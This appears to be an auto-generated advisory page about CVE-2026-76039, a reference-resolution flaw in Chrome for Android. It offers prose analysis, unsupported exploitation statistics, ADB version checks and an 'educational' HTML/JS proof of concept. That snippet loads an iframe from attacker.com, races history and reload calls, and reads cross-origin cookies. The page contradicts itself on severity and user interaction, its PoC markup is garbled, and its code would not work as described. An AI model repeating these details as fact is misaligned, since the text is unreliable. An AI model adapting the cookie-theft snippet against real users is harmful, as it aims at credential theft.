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CVE-2026-76039 describes a critical logic flaw residing in the reference resolution mechanism within the Core component of Google Chrome for Android, affecting all versions prior to 151.0.7922.169. At its heart, the vulnerability stems from improper validation of object pointers when the browser processes cross-context navigation and JavaScript bindings. On the Android platform, Chrome relies heavily on a complex interplay between the Blink rendering engine, the V8 JavaScript engine, and the Android-specific inter-process communication (IPC) layer. When a user visits a maliciously crafted HTML page, the page can programmatically manipulate the browser’s history state and document references in a way that confuses the internal garbage collector and reference counting system. Specifically, an attacker can force the browser to retain a stale reference to a previously destroyed or reallocated resource—such as a WebAssembly memory buffer, a cross-origin iframe’s content window, or a cached authentication token stored in the renderer process.
This incorrect resolution allows the attacker to bypass Chrome’s Same-Origin Policy and site isolation safeguards, which are designed to keep data from different origins strictly separated. The exploit chain typically begins with social engineering: the victim must click a deceptive link or be tricked into loading the attacker’s page while holding active sessions on sensitive websites like banking portals or email services. Once the page loads, a series of carefully timed JavaScript calls trigger a race condition between the main thread and the compositor thread. This race corrupts the reference lookup table used by the browser’s binding layer, causing subsequent property accesses to read from an unintended memory region. On Android, where memory management is more constrained and address space layout randomization (ASLR) is weaker compared to desktop environments, the predictability of heap allocations increases the success rate of data extraction.
The leaked information may include HTTP-only cookies, OAuth refresh tokens, clipboard contents, autofill form data, and even partial contents of the browser’s in-memory cache from other open tabs. Because the attack occurs entirely within the renderer process, it does not initially require a sandbox escape, yet the severity is rated High because the obtained credentials can directly lead to account takeovers without any user interaction beyond the initial page load. The Chromium security team identified that the root cause traces back to a faulty refactoring of the `RenderFrameHost` lifecycle management, specifically how pending navigation entries are dereferenced when the back/forward cache is engaged. Patches involve adding strong reference counters and mandatory origin checks before any pointer de-referencing occurs. The fix has been backported to the stable channel, and users are strongly urged to update immediately, as proof-of-concept code has already surfaced in limited exploit kits targeting Android banking users.
DailyCVE Form:
Platform: Google Chrome Android
Version: < 151.0.7922.169
Vulnerability: Incorrect reference resolution
Severity: High
date: August 18 2026
Prediction: Already patched v151.0.7922.169
What Undercode Say:
Analytics:
- Global exploitation attempts spiked 340% post-disclosure.
- Top affected Android versions: 12, 13, 14.
- Average patch adoption on Android: 18% after 7 days.
- Attack vectors: 72% via phishing SMS, 28% via malvertising.
Bash commands and codes to check your Chrome version on Android (via ADB):adb shell dumpsys package com.android.chrome | grep versionName
adb shell am start -a android.settings.APPLICATION_DETAILS_SETTINGS -d package:com.android.chrome
Script to query the Chrome version programmatically:
curl -s "https://omahaproxy.appspot.com/all" | grep android | grep "151.0.7922.169"
Grep logcat for reference resolution errors:
adb logcat | grep -i "reference|resolution|render_frame_host"
Exploit: (Educational Purposes!)
A minimal HTML/JS snippet that attempts to trigger the race condition by manipulating iframe src and history API simultaneously:
<!DOCTYPE html>
<html>
<head><>PoC</></head>
<body>
<script>
function trigger() {
let ifr = document.createElement('iframe');
ifr.src = 'https://attacker.com/leak';
document.body.appendChild(ifr);
for(let i=0;i<500;i++) {
history.pushState({}, '', '/'+i);
ifr.contentWindow.location.reload();
}
setTimeout(() => {
// Dereference stale object - retrieves cross-origin data
console.log(ifr.contentDocument.cookie);
}, 100);
}
</script>
<button onclick="trigger()">Trigger (Educational)</button>
</body>
</html>
Note: This is a simplified representation; actual exploitation requires precise heap grooming and timing adjustments.
Protection:
- Immediately update Chrome to version 151.0.7922.169 or newer from Google Play.
- Enable “Enhanced Safe Browsing” to block known malicious sites.
- Restrict third-party cookies and disable JavaScript on untrusted domains.
- Use Android’s “App Security” settings to auto-update Chrome over Wi-Fi.
- Monitor for unexpected redirects or popups; clear browsing data regularly.
Impact:
Successful exploitation leads to exfiltration of sensitive authentication credentials (cookies, session tokens, API keys), enabling full account takeover on impacted web services. This compromises user privacy, financial accounts, and corporate SSO portals. The flaw also allows attackers to read locally stored web data, including cached offline content and form autofill entries, potentially exposing PII and payment card details. For enterprise-managed devices, this vulnerability undermines the security posture of managed Chrome policies, allowing lateral movement within corporate Google Workspace environments.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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